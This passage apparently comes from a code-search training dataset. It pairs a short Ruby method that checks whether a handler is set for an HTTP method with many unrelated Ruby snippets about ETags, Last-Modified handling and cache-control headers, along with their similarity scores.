"def etag(value, opts=OPTS)\n # Before touching this code, please double check RFC 2616 14.24 and 14.26.\n weak = opts[:weak]\n new_resource = opts.fetch(:new_resource){post?}\n\n res = response\n e = env\n res[RodaResponseHeaders::ETAG] = etag = \"#{'W/' if weak}\\\"#{value}\\\"\"\n status = res.status\n\n if (!status || (status >= 200 && status < 300) || status == 304)\n if etag_matches?(e['HTTP_IF_NONE_MATCH'], etag, new_resource)\n res.status = (request_method =~ /\\AGET|HEAD|OPTIONS|TRACE\\z/i ? 304 : 412)\n halt\n end\n\n if ifm = e['HTTP_IF_MATCH']\n unless etag_matches?(ifm, etag, new_resource)\n res.status = 412\n halt\n end\n end\n end\n end",
"def disable_caching\n response.headers['Cache-Control'] =\n 'no-cache, no-store, max-age=0, must-revalidate'\n response.headers['Pragma'] = 'no-cache'\n response.headers['Expires'] = 'Fri, 01 Jan 1990 00:00:00 GMT'\n end",
"def get_requests_are_readonly\n if request.method == :get\n ActiveRecord::Base.with_readonly_records do\n yield\n end\n else\n yield\n end\n end",
"def etag value, opts={}\n opts = {:kind => opts} unless Hash === opts\n kind = opts[:kind] || :strong\n new_resource = opts.fetch(:new_resource) { @request.post? }\n\n unless [:strong, :weak].include?(kind)\n raise ArgumentError, \":strong or :weak expected\"\n end\n\n value = '\"%s\"' % value\n value = 'W/' + value if kind == :weak\n @response[ETAG] = value\n\n if (200..299).include?(status) || status == 304\n if etag_matches? @env[IF_NONE_MATCH], new_resource\n halt(@request.safe? ? 304 : 412)\n end\n\n if @env[IF_MATCH]\n halt 412 unless etag_matches? @env[IF_MATCH], new_resource\n end\n end\n end",
"def conditional_requests; end",
"def conditional_requests; end",
"def last_modified!(time)\n return unless time\n time = time_for time\n response['Last-Modified'] = time.httpdate\n return if env['HTTP_IF_NONE_MATCH']\n\n if status == 200 and env['HTTP_IF_MODIFIED_SINCE']\n # compare based on seconds since epoch\n since = Time.httpdate(env['HTTP_IF_MODIFIED_SINCE']).to_i\n halt 304 if since >= time.to_i\n end\n\n if (success? or status == 412) and env['HTTP_IF_UNMODIFIED_SINCE']\n # compare based on seconds since epoch\n since = Time.httpdate(env['HTTP_IF_UNMODIFIED_SINCE']).to_i\n halt 412 if since < time.to_i\n end\n rescue ArgumentError\n end",
"def disable_caching=(_arg0); end",
"def is_not_modified\n @status == Status::NOT_MODIFIED\n end",
"def _cache_control; end",
"def set_last_modified (t)\n\n #t = Time.local(*t.to_a) # flatten milliseconds\n #@response.header['Last-Modified'] = t.httpdate\n\n t = t.httpdate\n @response.header['Last-Modified'] = t\n\n sin = @request.env['HTTP_IF_MODIFIED_SINCE']\n\n if sin == t\n throw(:done, 304) if @request.get? or @request.head?\n throw(:done, 412) # precondition failed\n end\n end",
"def etag(value, options = {})\n # Before touching this code, please double check RFC 2616 14.24 and 14.26.\n options = {:kind => options} unless Hash === options\n kind = options[:kind] || :strong\n new_resource = options.fetch(:new_resource) { request.post? }\n\n unless [:strong, :weak].include?(kind)\n raise ArgumentError, \":strong or :weak expected\"\n end\n\n value = '\"%s\"' % value\n value = 'W/' + value if kind == :weak\n response['ETag'] = value\n\n if success? or status == 304\n if etag_matches? env['HTTP_IF_NONE_MATCH'], new_resource\n halt(request.safe? ? 304 : 412)\n end\n\n if env['HTTP_IF_MATCH']\n halt 412 unless etag_matches? env['HTTP_IF_MATCH'], new_resource\n end\n end\n end",
"def http_cache_forever(public: false)\n expires_in 100.years, public: public\n\n yield if stale?(etag: request.fullpath,\n last_modified: Time.new(2011, 1, 1).utc,\n public: public)\n end",
"def http_cache_forever(public: false)\n expires_in 100.years, public: public\n\n yield if stale?(etag: request.fullpath,\n last_modified: Time.new(2011, 1, 1).utc,\n public: public)\n end",
"def http_cache\n response.headers['Cache-Control'] = 'public, max-age=300'\n end",
"def validateable?\n headers.key?('Last-Modified') || headers.key?('ETag')\n end",
"def do_http_cache?\n resources.flatten.select do |resource|\n resource.respond_to?(:updated_at)\n end &&\n controller.response.last_modified.nil? && !new_record?\n end",
"def set_cache_control\r\n @view.headers['Cache-Control'] ||= ie_request? ? 'no-cache, must-revalidate' : ''\r\n end",
"def bustable_stale?(object = nil, **kwd_args)\n etag_disabled? || stale?(object, strong_etag: bustable_etag(kwd_args[:strong_etag]), **kwd_args)\n end",
"def etag\n end",
"def non_get_methods\n [:post, :put, :delete]\n end",
"def not_modified?(time = self.last_modified)\n request.if_modified_since && time && time <= request.if_modified_since\n end",
"def add_caching_headers\n if etag = resource.generate_etag\n response.headers['ETag'] = ensure_quoted_header(etag)\n end\n if expires = resource.expires\n response.headers['Expires'] = expires.httpdate\n end\n if modified = resource.last_modified\n response.headers['Last-Modified'] = modified.httpdate\n end\n end",
"def appctrl_do_not_cache\n response.headers[ 'Pragma' ] = 'no-cache'\n response.headers[ 'Cache-Control' ] = 'no-cache, no-store, max-age=0, must-revalidate'\n response.headers[ 'Expires' ] = 'Fri, 01 Jan 1990 00:00:00 GMT'\n end",
"def idempotent(val=:get)\n if val == :get\n return @idempotent if defined?(@idempotent)\n Cassie::Statements.default_idempotency\n else\n self.idempotent = val\n end\n end",
"def add_cache_control\n return if request.query_string.to_i == 0\n headers['Cache-Control'] ||= 'public, max-age=300'\n end",
"def should_cache?\n false\n end",
"def cache_query?\n false\nend",
"def cache_query?\n false\nend",
"def bustable_fresh_when(object = nil, **kwd_args)\n !etag_disabled? && fresh_when(object, strong_etag: bustable_etag(kwd_args[:strong_etag]), **kwd_args)\n end",
"def httponly=(val)\n @httponly = !!val\n end",
"def skip_cache?\n return true unless method.in? CACHEABLE_METHODS\n header.cache_control && header.cache_control.include?('no-cache')\n end",
"def get!(...)\n begin\n return self.get(...)\n rescue Errno::ENOENT\n return false\n end\n end",
"def set_no_cache\n response.headers['Cache-Control'] =\n 'no-cache, no-store, max-age=0, must-revalidate'\n response.headers['Pragma'] = 'no-cache'\n response.headers['Expires'] = 'Fri, 01 Jan 1990 00:00:00 GMT'\n end",
"def cacheable_request?\n (request.get? || request.head?) && (request.params[:cache] != 'false')\n end",
"def set_no_cache\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n end",
"def set_no_cache\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n end",
"def no_cache\n conditionally_visible? || self[:no_cache]\n end",
"def etag\n end",
"def request_fresh?\n # make sure we have something to compare too.\n return false unless last_modified or etag\n\n fresh = true\n\n # only check if we have set the right headers\n fresh &&= etag_matches?(self.etag) if etag\n fresh &&= not_modified?(self.last_modified) if last_modified\n fresh\n end",
"def only_browser_can_cache(no_store = true, max_age_in_seconds = 0)\n #TODO assert input\n response.headers[\"Date\"] = timestamp\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n response.headers[\"Cache-Control\"] = \"private, max-age=#{max_age_in_seconds}\" + (\", no-store\" if no_store).to_s\n end",
"def etag\n raise NotImplementedError\n end",
"def set_private\n response.headers['Cache-Control'] = 'no-cache, no-store, max-age=0, must-revalidate'\n end",
"def disable_client_cache\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n response.headers[\"Pragma\"] = 'no-cache'\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n end",
"def set_cache_control\n if ssl_request? && ie_request?\n @controller.headers['Cache-Control'] = 'maxage=1' # added to make ie ssl pdfs work (per naisayer)\n else\n @controller.headers['Cache-Control'] ||= ie_request? ? 'no-cache, must-revalidate' : ''\n end\n end",
"def conditional_requests=(_arg0); end",
"def disk_cache_enabled; end",
"def set_no_cache_headers\n response.headers[\"Cache-Control\"] = \"no-cache, no-store\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Mon, 01 Jan 1990 00:00:00 GMT\"\n end",
"def set_header_options(curl)\n summary = summary_for_feed\n \n unless summary.nil?\n curl.headers['If-None-Match'] = summary[:etag] unless summary[:etag].nil?\n curl.headers['If-Modified-Since'] = summary[:last_modified] unless summary[:last_modified].nil?\n end\n \n curl\n end",
"def cache_response(resource, single_resource)\n super resource, false\n end",
"def add_cache_control; end",
"def uncached\n old = @cache_enabled\n @cache_enabled = false\n yield\n ensure\n @cache_enabled = old\n end",
"def cacheable?\n return false if method != :get && method != :head\n return false if cache_control.no_store?\n true\n end",
"def set_getlastmodified(value)\n if !record.nil? and record.respond_to? :updated_at=\n record.updated_at = Time.httpdate(value)\n gen_status(200, \"OK\").to_s\n else\n gen_status(409, \"Conflict\").to_s\n end\n end",
"def no_cache!\n @cacheable = false\n end",
"def cache_on?; end",
"def cache_on?; end",
"def last_modified(time)\n return unless time\n time = time_for time\n response['Last-Modified'] = time.httpdate\n return if env['HTTP_IF_NONE_MATCH']\n\n if status == 200 and env['HTTP_IF_MODIFIED_SINCE']\n # compare based on seconds since epoch\n since = Time.httpdate(env['HTTP_IF_MODIFIED_SINCE']).to_i\n halt 304 if since >= time.to_i\n end\n\n if (success? or status == 412) and env['HTTP_IF_UNMODIFIED_SINCE']\n # compare based on seconds since epoch\n since = Time.httpdate(env['HTTP_IF_UNMODIFIED_SINCE']).to_i\n halt 412 if since < time.to_i\n end\n rescue ArgumentError\n end",
"def request_get?\n request.get?\n end",
"def _get\n http_method(:get)\n end",
"def skip_http_headers; end",
"def http_endpoint_enabled\n data[:http_endpoint_enabled]\n end",
"def not_modified?(time = self.last_modified)\n if !request.if_modified_since.nil? and !time.nil?\n time <= request.if_modified_since\n else\n false\n end\n end",
"def pick_template_for_etag(options); end",
"def set_cache_headers\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n end",
"def if_modified_since req, res, path = nil\n last_modified = File.stat(path).mtime if path\n\n res['last-modified'] = last_modified.httpdate\n\n return unless ims = req['if-modified-since']\n\n ims = Time.parse ims\n\n unless ims < last_modified then\n res.body = ''\n raise WEBrick::HTTPStatus::NotModified\n end\n end",
"def without_cache\n state = @enabled\n @enabled = false\n yield if block_given?\n @enabled = state\n end",
"def get!\n request! :get\n end",
"def disable!\n @cache_enabled = false\n end",
"def disable!\n @cache_enabled = false\n end",
"def nocache nocache\n @options[:nocache] = booleanize 'NoCache', nocache\n self\n end",
"def before_method(request, response)\n temp_location = temp_file?(request.path)\n return true unless temp_location\n\n case request.method\n when 'GET'\n http_get(request, response, temp_location)\n when 'PUT'\n http_put(request, response, temp_location)\n when 'PROPFIND'\n http_propfind(request, response, temp_location)\n when 'DELETE'\n http_delete(request, response, temp_location)\n else\n true\n end\n end",
"def update!(**args)\n @etag = args[:etag] if args.key?(:etag)\n @validate_only = args[:validate_only] if args.key?(:validate_only)\n end",
"def update!(**args)\n @etag = args[:etag] if args.key?(:etag)\n @validate_only = args[:validate_only] if args.key?(:validate_only)\n end"
] | [
"0.6482948",
"0.6287235",
"0.6280377",
"0.6072988",
"0.60519505",
"0.5913605",
"0.5906597",
"0.590059",
"0.58755744",
"0.58405143",
"0.5829607",
"0.58241147",
"0.5783479",
"0.57205737",
"0.567177",
"0.5611315",
"0.55969965",
"0.55632925",
"0.55285174",
"0.5520176",
"0.55054134",
"0.5466338",
"0.54534954",
"0.544628",
"0.5414069",
"0.5413515",
"0.5404478",
"0.5373289",
"0.53584486",
"0.53578573",
"0.53578573",
"0.53494006",
"0.53169775",
"0.5316626",
"0.5302867",
"0.5301564",
"0.5296969",
"0.527157",
"0.527157",
"0.52656454",
"0.52635145",
"0.5258484",
"0.5252527",
"0.52519625",
"0.5245767",
"0.52272695",
"0.5219829",
"0.5203569",
"0.5169379",
"0.5128878",
"0.5121265",
"0.5106887",
"0.5106615",
"0.5106615",
"0.50888973",
"0.50751776",
"0.50706434",
"0.5067358",
"0.5054406",
"0.5048597",
"0.50421023",
"0.50421023",
"0.50381124",
"0.5022488",
"0.502187",
"0.5017298",
"0.50160253",
"0.50125307",
"0.50050616",
"0.49800742",
"0.4979604",
"0.49782112",
"0.49677196",
"0.49644426",
"0.49562758",
"0.49527735",
"0.494979",
"0.49438375",
"0.49417898",
"0.49385557",
"0.49234614",
"0.49234614",
"0.49130705",
"0.49122638",
"0.4910986",
"0.49095204",
"0.4904897",
"0.4902044",
"0.49009225",
"0.48885855",
"0.4875792",
"0.48753607",
"0.48721883",
"0.4861737",
"0.4861737",
"0.48546314",
"0.48537818",
"0.4853643",
"0.4853643"
] | 0.8406503 | 1 |
returns true if a handler is set for the HTTP method in param it is an alternative to get_handler which would return a true value if there is a default handler | def has_handler?(method)
send(method) && true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def respond_to_missing?(method_name)\n @original_handler.respond_to?(method_name)\n end",
"def has_handler_for?(handler_method)\n @jr_handlers ||= {}\n @jr_handlers.has_key?(handler_method)\n end",
"def get?\r\nHTTP_METHOD_LOOKUP[request_method] == :get\r\nend",
"def handleRequest?(path)\n\t\t\ttrue\n\t\tend",
"def post?\r\nHTTP_METHOD_LOOKUP[request_method] == :post\r\nend",
"def handles?(rjr_method)\n !handler_for(rjr_method).nil?\n end",
"def no_handler?\n handlers_set.empty?\n end",
"def handle(method, content)\n if is_post? method\n return handle_incoming_message(content) || handle_delivery_notification(content) || handle_unknown(content)\n end\n return false\n end",
"def respond_to_missing?(*args)\n method_name = args.first\n delegates_controller_method?(method_name) || super\n end",
"def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend",
"def method?(meth)\n get_method(meth)\n end",
"def matches?(req)\n req.path =~ pattern && http_method == req.request_method.downcase.to_sym\n end",
"def handled?\n handled\n end",
"def matches?(req)\n req.path =~ pattern && req.request_method.to_s.upcase == http_method\n end",
"def respond_to?(method, include_private = false)\n super || defines_default?(method) || (method =~ /^(\\w+)=$/ && defines_default?(Regexp.last_match(1)))\n end",
"def default_handler\n @default_handler\n end",
"def handlers?\n registered_handlers.length > 0\n end",
"def request_method\r\n@request_method ||= check_method(env[\"REQUEST_METHOD\"])\r\nend",
"def try_route\n\t\t\t\thttp_method = request.http_method\n\t\t\t\thttp_method = :GET if http_method == :HEAD\n\t\t\t\treturn unless available_endpoint\n\n\t\t\t\troute = available_endpoint[http_method]\n\t\t\t\treturn unless route || available_endpoint.allow\n\n\t\t\t\thalt(405, nil, 'Allow' => available_endpoint.allow) unless route\n\t\t\t\tstatus 200\n\t\t\t\texecute_route route\n\t\t\t\ttrue\n\t\t\tend",
"def dynamic?(method = :get)\n method = normalize_method(method)\n return true unless method == :get\n controller = controllers[:__nil__]\n controller and controller.dynamic?(method)\n end",
"def requested_method\n\t\t\t\t# respond to websocket special case\n\t\t\t\treturn :pre_connect if request.upgrade?\n\t\t\t\t# respond to save 'new' special case\n\t\t\t\treturn (self.class.has_method?(:save) ? :save : false) if (request.request_method =~ /POST|PUT|PATCH/i.freeze) && (params[:id].nil? || params[:id] == 'new'.freeze)\n\t\t\t\t# set DELETE method if simulated\n\t\t\t\trequest.request_method = 'DELETE'.freeze if params[:_method] && params[:_method].to_s.downcase == 'delete'.freeze\n\t\t\t\t# respond to special :id routing\n\t\t\t\tparams[:id].to_s.downcase.to_sym.tap { |met| return met if self.class.has_exposed_method?(met) } if params[:id]\n\t\t\t\t#review general cases\n\t\t\t\tcase request.request_method\n\t\t\t\twhen 'GET'.freeze, 'HEAD'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:index) ? :index : false) unless params[:id]\n\t\t\t\t\treturn (self.class.has_method?(:show) ? :show : false)\n\t\t\t\twhen 'POST'.freeze, 'PUT'.freeze, 'PATCH'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:update) ? :update : false)\n\t\t\t\twhen 'DELETE'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:delete) ? :delete : false)\n\t\t\t\tend\n\t\t\t\tfalse\n\t\t\tend",
"def head?\r\nHTTP_METHOD_LOOKUP[request_method] == :head\r\nend",
"def matches?(req)\n pattern.match(req.path) && req.request_method.downcase == http_method.to_s\n end",
"def required?\n handler.required?\n end",
"def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end",
"def handler_method; end",
"def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end",
"def respond_to_missing?(method, include_all = false)\n handles?(method) || super(method, include_all)\n end",
"def handle?(symbol); @handler.include?(symbol); end",
"def matches?(req)\n !(req.path =~ @pattern).nil? && \n req.request_method.downcase.to_sym == @http_method\n end",
"def matches?(req)\n match_method = req.request_method.downcase.to_sym == @http_method\n # match_pattern = req.path.match(Regexp.new(@pattern))\n match_pattern = req.path =~ @pattern\n match_method && match_pattern\n end",
"def handle?(req)\n if @opts.key?(:if)\n cond = @opts[:if]\n cond = cond.call(req) if cond.respond_to?(:call)\n return cond\n end\n true\n end",
"def respond_to?(method)\n return true if !enabled? || soap_actions.include?(method)\n super\n end",
"def update_request?(http_method = nil)\n http_method = http_method.downcase.to_sym if http_method.is_a?(String)\n %i[put post patch].include?(http_method || @verb)\n end",
"def request_get?\n request.get?\n end",
"def default?\n controller == DEFAULT && action == DEFAULT\n end",
"def respond_to?(method)\n @data.key?(method.to_s) || super\n end",
"def matches_directly?(request_path, http_method)\n @paths.path[request_path]&.operation(http_method)\n end",
"def respond_to?(method, include_private = false)\n (actions(current_api).include? method) ? true : super\n end",
"def handler_for_request(req)\n req.path =~ /^#{@url_prefix}\\/([^\\/]+)/\n\n return @entry_points[$1] || Borges::NotFoundHandler.new\n end",
"def matches?(req)\n @pattern.match?(req.path) && @http_method.to_s.downcase == req.request_method.downcase\n end",
"def respond_to?(meth)\n\t\ttrue\n\tend",
"def respond_to_missing?(method)\n @callbacks.key?(method)\n end",
"def respond_to_missing?(method)\n @callbacks.key?(method)\n end",
"def action_method?\n nil\n end",
"def action_method?(name); end",
"def http_method(value = nil)\n if value\n @http_method = value\n else\n @http_method\n end\n end",
"def http?\n type == :basic || type == :digest\n end",
"def respond_to?(method, include_all = false)\n if method.to_s.end_with?('_path', '_url')\n if main_app.respond_to?(method)\n true\n else\n super\n end\n else\n super\n end\n end",
"def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end",
"def method?\n type == TYPE_METHOD\n end",
"def method?\n type == TYPE_METHOD\n end",
"def respond_to? method\n method.to_s =~ /^do_[A-Z]+$/ ? true : super\n end",
"def matches?(req)\n !!(req.request_method.downcase.to_sym == @http_method && @pattern.match(req.path))\n end",
"def respond_to?(method)\n return true if name?(method.to_sym)\n super\n end",
"def route_api?\n request.get? && path.match(%r{^/api})\n end",
"def matches?(req)\n !(@pattern =~ req.path).nil? && req.request_method.downcase == @http_method.to_s.downcase\n end",
"def put?\r\nHTTP_METHOD_LOOKUP[request_method] == :put\r\nend",
"def default_method\n case @action.to_s\n when /create/\n :post\n when /update/\n :put\n when /destroy/\n :delete\n else# and when /(index|show|new|edit)/\n :get\n end\n end",
"def matches?(req)\n regex = Regexp.new(@pattern.to_s)\n match_data = regex.match(req.path)\n if match_data.nil?\n return false\n else\n req.request_method.downcase.to_sym == @http_method\n end\n end",
"def valid_proxy_method?\n rpc_action? || rpc_action_abbrev?\n end",
"def equal?(handler, type)\n\t\tfalse\n\tend",
"def current_handler\n @current_handler || @default_handler\n end",
"def respond_to?(method, include_private=false)\n route_macro = self.class.macros[method]\n if route_macro.nil?\n super\n else\n true\n end\n end",
"def route! env\n http_route = \"#{env[REQ_METHOD]} #{env[PATH_INFO]}\"\n return true if env[GIN_ROUTE] == http_route\n\n env[GIN_TARGET], env[GIN_PATH_PARAMS] =\n router.resources_for env[REQ_METHOD], env[PATH_INFO]\n\n env[GIN_ROUTE] = http_route\n\n !!env[GIN_TARGET]\n end",
"def handler_for(handler_method)\n @jr_handlers[handler_method]\n end",
"def respond_to_missing? meth, priv\n if @o\n @o.repond_to_missing? meth, priv\n else\n true\n end\n end",
"def handler_enabled?\n !datastore['DisablePayloadHandler']\n end",
"def respond_to?(method_name)\n key?(method_name) ? true : super\n end",
"def method_missing(method, *args, &block)\n if method =~ /(.+)\\?$/\n options[$1.to_sym].present?\n else\n options[method]\n end\n end",
"def method(method = nil)\n return @method unless method\n case method\n when :get, :post, :put, :delete\n @method = method\n else\n raise \"Unknown HTTP method :#{method}.\"\n end\n end",
"def handled?\n\t\treturn ! @status.nil?\n\tend",
"def respond_to?(method)\n return super unless part(method)\n part(method)\n end",
"def post?\n request.request_method == 'POST'\n end",
"def patch?\r\nHTTP_METHOD_LOOKUP[request_method] == :patch\r\nend",
"def http_method\n return if request_response_pairs.empty?\n request_response_pairs.first.first.request_method\n end",
"def method\n @method ||= ( ( ( m = @request.request_method.downcase ) == 'post' and\n ( n = @request['_method'] ) ) ? n.downcase : m ).intern\n end",
"def supported_handlers\n @supported_handlers ||=\n enabled_handlers.select do |klass|\n klass.supports?(resource, action)\n end\n end",
"def handle_request(request)\n if request =~ /^(\\w+)\\s+(.*)\\s+HTTP/ then\n r_type = $1.downcase.to_sym\n path = $2\n log(\"Request: [#{r_type}] '#{path}'\")\n found = false\n value = nil\n @handlers.each do |handler|\n if handler[:methods].index(r_type) != nil and handler[:expr].match(path) then\n found = true\n value = handler[:handler].call(self, path, Regexp.last_match)\n break\n end\n end\n (found and value) ? value : respond_resource_not_found(path)\n else\n make_response(type = \"text/html\", compressed = false, code = 400, msg = \"Bad Request\")\n end\n end",
"def create_handler_predicate_method(handler_name)\n create_method \"#{handler_name}?\" do\n current_handler == handler_name\n end\n end",
"def respond_to? meth, include_private=false\n if(matches? meth)\n return true\n else\n super\n end\n end",
"def handler_for(rjr_method)\n # look for exact match first\n handler = @handlers.find { |k,v| k == rjr_method }\n\n # if not found try to match regex's\n handler ||= @handlers.find { |k,v| k.is_a?(Regexp) && (k =~ rjr_method) }\n\n handler.nil? ? nil : handler.last\n end",
"def http_method\n @http_method ||= @options[:http_method] || :post\n end",
"def get?\n @get\n end",
"def matches?(req)\n @pattern.to_s.match(req.path) && @http_method.to_s.match(req.request_method.downcase)\n end",
"def respond_to?(method,type=false)\n return true if delegated_instance_methods.include?(method)\n old_respond_to?(method,type)\n end",
"def respond_to?(method,type=false)\n return true if delegated_instance_methods.include?(method)\n old_respond_to?(method,type)\n end",
"def request_method\n @request_method || :get\n end",
"def before_method(request, response)\n temp_location = temp_file?(request.path)\n return true unless temp_location\n\n case request.method\n when 'GET'\n http_get(request, response, temp_location)\n when 'PUT'\n http_put(request, response, temp_location)\n when 'PROPFIND'\n http_propfind(request, response, temp_location)\n when 'DELETE'\n http_delete(request, response, temp_location)\n else\n true\n end\n end",
"def route_request?\n request.get? && !request_xhr? && !modal?\n end",
"def controller_respond_to\n render :text => private_methods.collect(&:to_s).include?(params[:method]) ? '1' : '0'\n end",
"def respond_to?(*)\n true\n end",
"def respond_to?(api_method) # :nodoc:\n @client.wsdl.soap_actions.include?(api_method.to_sym)\n end",
"def request?\n @type == :request\n end",
"def respond_to?(method, include_private=false)\n super || defines_setting?(method) || (method =~ /^(\\w+)=$/ && defines_setting?($1))\n end",
"def respond_to?(method)\n return true if @hash.has_key?(method.gsub('=', ''))\n super(method)\n end",
"def ok_enabled?; handle?(:ok); end",
"def binder_routing_ok?(binder, action)\n\n\t\treturn request.path[0..named_binder_route(binder, action).size - 1] == named_binder_route(binder, action)\n\n\tend",
"def set_handler(name,type,method)\n raise \"type must be one of #{@handlers.keys}\" unless @handlers.keys.include?(type)\n Log.log.debug(\"setting #{type} handler for #{name}\")\n @handlers[type][name]=method\n end",
"def handle(method_name, *params) # rubocop:disable Metrics/CyclomaticComplexity\n return false unless enabled?\n\n case method_name\n when :resource then resource\n when :_links, :links then resource._links\n when :_embedded, :embedded then resource._embedded\n when :_properties, :properties then resource._properties\n when :rel then rel(params.shift, params)\n else false\n end\n end"
] | [
"0.71880573",
"0.70673895",
"0.70315045",
"0.6960397",
"0.6888432",
"0.66511524",
"0.6429777",
"0.63968956",
"0.6372571",
"0.63350034",
"0.6328482",
"0.6309252",
"0.6307925",
"0.63055146",
"0.63052446",
"0.62920165",
"0.6265385",
"0.62626976",
"0.6252423",
"0.6249509",
"0.6248573",
"0.62478566",
"0.6233546",
"0.6230379",
"0.62176496",
"0.61967",
"0.61819696",
"0.617068",
"0.6157484",
"0.6139751",
"0.61227745",
"0.6118014",
"0.6116464",
"0.61094546",
"0.61035377",
"0.6095239",
"0.6087572",
"0.6084517",
"0.6080237",
"0.6076681",
"0.60550624",
"0.6052869",
"0.6015501",
"0.6015501",
"0.60107857",
"0.59949136",
"0.59871805",
"0.5976805",
"0.5973575",
"0.59735394",
"0.59678346",
"0.59678346",
"0.5951114",
"0.5940855",
"0.5892446",
"0.5890561",
"0.58887154",
"0.5885715",
"0.58850586",
"0.5877714",
"0.5864182",
"0.58610994",
"0.5855203",
"0.58361137",
"0.5835424",
"0.5831125",
"0.583046",
"0.5825214",
"0.5824596",
"0.5816505",
"0.581639",
"0.5814707",
"0.5810932",
"0.5806191",
"0.5804331",
"0.5801621",
"0.57997525",
"0.5799467",
"0.57974565",
"0.5784194",
"0.5782508",
"0.57631874",
"0.57465225",
"0.57453907",
"0.574528",
"0.57407874",
"0.57407874",
"0.57290053",
"0.5724392",
"0.5723271",
"0.5722777",
"0.5722726",
"0.5721259",
"0.57203335",
"0.5718869",
"0.5717151",
"0.57012814",
"0.5700808",
"0.5698312",
"0.56965"
] | 0.76993495 | 0 |
sets a handler for the HTTP method in param to val | def set_handler(method, val)
send("#{method}=", val)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def http_method(value = nil)\n if value\n @http_method = value\n else\n @http_method\n end\n end",
"def http_method(v)\n endpoint_info[:http_method] = v\n end",
"def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end",
"def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end",
"def http_method(value = nil, &block)\n __define__(:http_method, value, block)\n end",
"def set_handler(name,type,method)\n raise \"type must be one of #{@handlers.keys}\" unless @handlers.keys.include?(type)\n Log.log.debug(\"setting #{type} handler for #{name}\")\n @handlers[type][name]=method\n end",
"def handler_method; end",
"def method=(value)\n @method = value\n end",
"def handler; end",
"def handler; end",
"def http_method\n\t\t\t\treturn @http_method if defined?(@http_method)\n\n\t\t\t\tmethod_from_method =\n\t\t\t\t\tbegin\n\t\t\t\t\t\tparams['_method']\n\t\t\t\t\trescue ArgumentError => e\n\t\t\t\t\t\t## https://github.com/rack/rack/issues/337#issuecomment-48555831\n\t\t\t\t\t\traise unless e.message.include?('invalid %-encoding')\n\t\t\t\t\tend\n\n\t\t\t\t@http_method = (method_from_method || request_method).upcase.to_sym\n\t\t\tend",
"def http_method\n @http_method ||= @options[:http_method] || :post\n end",
"def http_method\n METHODS[self[:method]]\n end",
"def set_request_handler(&blk) @req_handler = blk; nil end",
"def method_missing(method,val=nil)\n if val.nil?\n get(method)\n else\n method = method.to_s[0..-2].to_sym # get rid of = sign\n set(method,val)\n end\n end",
"def method(method = nil)\n return @method unless method\n case method\n when :get, :post, :put, :delete\n @method = method\n else\n raise \"Unknown HTTP method :#{method}.\"\n end\n end",
"def handler ( h )\n raise TypeError, h.class.to_s + ': Incorrectly types for <handler> method of <ParserState>.' unless\n\th.instance_of? Method\n \n @handler = h\n end",
"def http_method\n @parser.http_method\n end",
"def handlers=(_arg0); end",
"def request_method; end",
"def handlers\n HTTP_METHODS.map do |sym|\n [sym, send(sym)]\n end\n end",
"def assign_handler\n set_handler(:continue, method(:continue_action) )\n set_handler(:block, method(:block_action) )\n set_handler(:ok, method(:continue_action) )\n set_handler(:cancel, method(:block_action) )\n end",
"def http=(_arg0); end",
"def type=(v)\n case v\n when :get then super('get')\n when :set then super('set')\n when :result then super('result')\n when :error then super('error')\n else super(nil)\n end\n end",
"def request_handler(request_handler)\n @search.request_handler = request_handler\n end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend",
"def method\n return @method if defined? @method\n @method = headers[METHOD_KEY]\n @method = @method.downcase.to_sym if @method\n @method\n end",
"def write_method=(val)\n @write_method = val if %w(:flock :normal).include(val)\n end",
"def method\n @method ||= ( ( ( m = @request.request_method.downcase ) == 'post' and\n ( n = @request['_method'] ) ) ? n.downcase : m ).intern\n end",
"def __set_handler(handler)\n @__handler = handler\n end",
"def setup_method_handler(method_handler)\n @handler = method_handler\n end",
"def parse_http_methods!(req)\n if (method = req.params['_method'])\n if ['delete', 'put', 'patch'].include?(method.downcase)\n req.env['REQUEST_METHOD'] = method.upcase\n end\n end\n end",
"def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end",
"def route\n \"#{@http_verb.to_s.upcase} #{@url}\"\n end",
"def request_type(http_method = nil)\n (http_method || @verb).to_s.upcase\n end",
"def sig_method=(value)\n @children['sigMethod'][:value] = value\n end",
"def sig_method=(value)\n @children['sigMethod'][:value] = value\n end",
"def default_method\n case @action.to_s\n when /create/\n :post\n when /update/\n :put\n when /destroy/\n :delete\n else# and when /(index|show|new|edit)/\n :get\n end\n end",
"def request_method(verb)\n Net::HTTP.const_get(verb.to_s.capitalize)\n end",
"def http_method(request)\n raise NotImplementedError\n end",
"def http_method(request)\n raise NotImplementedError\n end",
"def request_method_symbol; end",
